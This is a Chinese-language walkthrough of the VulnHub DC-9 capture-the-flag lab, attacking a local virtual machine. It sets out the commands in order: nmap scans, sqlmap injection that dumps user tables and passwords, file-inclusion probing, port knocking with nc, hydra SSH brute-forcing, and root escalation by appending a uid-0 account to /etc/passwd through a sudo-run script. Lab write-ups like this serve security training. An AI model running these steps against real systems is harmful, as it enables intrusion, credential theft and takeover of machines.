suhaynn2026-06-11文章来源:SecHub网络安全社区
本次作为攻击机的服务器为kali:192.168.213.133
靶机:192.168.213.143
靶场链接:https://download.vulnhub.com/dc/DC-9.zip
搭建靶场,解压后导入到虚拟机,网卡使用NET

启动

arp-scan -l 或者 nmap 192.168.213.0/24


显示过滤了22端口开放了80端口,在详细扫一遍端口信息
nmap -sT --min-rate 10000 -p- 192.168.213.143 -oA nmapscan/ports 使用TCP协议最低10000速率对靶机进行全端口扫描,结果保存到nmapscan/port

22端口状态又变成了closed
端口状态filtered:端口状态filtered由于报文无法到达指定的端口,nmap不能够决定端口的开放状态。 端口状态closed:端口状态closed只是在扫描的这个时刻为关闭,当在另一个时间段进行扫描的时候,这些关闭的端口可能会处于开放状态
nmap -sT -sV -sC -O -p22,80 192.168.213.143 -oA nmapscan/detail
-sV使用TCP协议探测,
-sV探测各服务版本,
-sC用脚本进行扫描,
-O探测服务器版本,
-p$ports指定端口进行探测,
-oA nmapscan/detail保存到文件
80端口使用的apache

nmap --script=vuln -p22,80 192.168.213.143 -oA nmapscan/vuln

这个CVE-2017-1001000 漏洞 - 这是一个 Apache 服务器的漏洞,可能导致远程代码执行。但是由于脚本执行失败,无法确认是否存在此漏洞。
扫出来一大堆CSRF,没啥用
进行目录扫描
dirsearch -u 192.168.213.143

扫出来东西有限,进去看看吧
这是员工的详细信息

这是员工的联系方式

此处搜索可以使用名字或姓氏进行搜索

管理处是管理员登录的地方,待会儿尝试爆破哈,没有办法枚举用户名哈

看完整体大样,除了搜索处和登录处存在和后台交互的点,其他地方等于啥都没有。
关于搜索处和登录处,一般的思路就是测试SQL注入和XSS注入,xss对我们来说没什么用,我们测试一下SQL注入。
不想手动测试了,直接抓包丢给Sqlmap跑,将数据包保存为txt文件

vim post.txt

sqlmap -r post.txt
可以直接跑出来,存在时间盲注和联合查询注入

sqlmap -r post.txt --dbs --technique U
存在两个可疑数据库,我们都进去瞅瞅

sqlmap -r post.txt --privileges --is-dba --current-user

当前数据库用户 ‘dbuser@localhost’ 具有 ‘USAGE’ 权限,这是一个非常基本的数据库权限,允许用户连接到数据库,但不授予任何重要的权限。这意味着 ‘dbuser’ 用户不是数据库管理员(DBA),在数据库服务器上没有提升的权限。
sqlmap -r post.txt -D Staff --tables --technique U

我们对Users表感兴趣
sqlmap -r post.txt -D Staff -T Users --dump --technique U

这应该是该站点管理员的账户密码
856f5de590ef37314e7c3bdf6f8a66dc | admin
把hash值丢给cmd5,还是一条付费记录

得到账户admin/transorbital1
sqlmap -r post.txt -D users --tables --technique U

存在一个表UserDetails
sqlmap -r post.txt -D users -T UserDetails --dump --technique U

这里边是刚刚前端看到的17个职员的信息,都是职员,权限应该大部分没有管理员的大,所有我们应该对管理员的账户密码感兴趣
登录后台admin/transorbital1

进来之后发现好像只多了一个添加记录的功能

没什么多余的功能点了,仔细观察管理页面,和登录之前做对比,发现多了一个东西 File does not exist
莫非是有什么文件包含吗

抓包爆破一下吧

果然存在,参数是file

放大看一看这个文件,我们会发现这几个ssh可登录用户是刚刚sqlmap跑出来的,有账号和密码,讲道理应该会开放22端口的


换上文件字典,这个字段最好强大一点

爆破出来的这几个文件,/etc/knockd.conf这个文件是感兴趣的,他解释了上边22端口的问题

/etc/knockd.conf里的配置会导致ssh连接被拒绝,它通过动态的添加iptables规则来隐藏系统开启的服务。
使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。
不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
配置解释
[options]
UseSyslog #用来定义日志输出位置以及文件名
[openSSH]
sequence = 7469,8475,9842 #设置(开门)敲门顺序,可以自定义
seq_timeout = 25 #设置超时时间
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
#开门成功后添加防火墙规则命令(打开SSH端口)
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469 #设置(关门)敲门顺序,与开门顺序相反
seq_timeout = 25 #设置超时时间
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
#关门成功后删除之前添加的防火墙规则(关闭SSH端口)
tcpflags = syn
我们尝试敲门,看22端口是否开放
nmap -p 7469 192.168.213.143 nmap -p 8475 192.168.213.143 nmap -p 9842 192.168.213.143 nmap -p 22 192.168.213.143

或者用nc来敲门,更快
nc -z 192.168.213.143 7469 8475 9842 #开门
nc -z 192.168.213.143 9842 8475 7469 #关门

好啦,,现在尝试用刚刚slqmap跑出来的账户密码爆破ssh登录吧
将账户密码分别写入到username.txt,password.txt
vim username.txt

vim password.txt

hydra -L username.txt -P password.txt ssh://192.168.213.143 -t 30 #明确指定了使用 SSH 协议
hydra -L username.txt -P password.txt 192.168.213.143 ssh -t 30 #在命令行中分别指定 IP 地址和协议名称

爆破出三组账户密码
chandlerb/UrAG0D!
joeyt/Passw0rd
janitor/Ilovepeepee
都登录进去,看看各自家目录有啥东西没,发现只有janitor用户家目录有一个隐藏文件,打开是一串密码

将这一串添加到password.txt再次进行ssh爆破

hydra -L username.txt -P password.txt 192.168.213.143 ssh -t 30
撞出了新的用户fredf/B4-Tru3-001

登录fredf用户
sudo -l
可以看到免密使用root权限运行/opt/devstuff/dist/test/test

先运行一下,提示运行test.py需要两个参数: read 和 append

find / -name "test.py" 2>/dev/null
在/opt/devstuff/test.py


分析一下test.py
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
大意是:这个 Python 脚本接受两个命令行参数,第一个参数是要读取的文件,第二个参数是要将内容追加到的文件。如果参数数量不正确,就会打印用法提示并以非零退出码退出。否则,就会读取第一个文件的内容,并将其追加到第二个文件中。
这也解释刚刚运行/opt/devstuff/dist/test/test这个文件时返回缺两个参数
工具:openssl
我们使用openssl生成hash
openssl passwd -1 -salt DC9 123456 //创造一个账号:DC9,密码:DC9(hash)的用户
-1 :使用md5加密算法
-salt :自动插入一个随机数作为文件内容加密
$1$DC9$Xug09hvtJ0EIhUq.BKwOO1

查看root用户的用户信息
cat /etc/passwd

以root用户信息格式完成创建DC9用户的信息,hash值替换掉x
[⽤户名]:[密码]:[UID]:[GID]:[⾝份描述]:[主⽬录]:[登录shell]
DC9:$1$DC9$Xug09hvtJ0EIhUq.BKwOO1:0:0:root:/root:/bin/bash
将上述信息写入到某文件,我就写在/tmp/DC9这里了
echo 'DC9:$1$DC9$Xug09hvtJ0EIhUq.BKwOO1:0:0:root:/root:/bin/bash' >> /tmp/DC9

将DC9信息利用test.py脚本以root权限写入/etc/passwd
sudo /opt/devstuff/dist/test/test /tmp/DC9 /etc/passwd
成功写入

切换用户DC9/123456得到flag
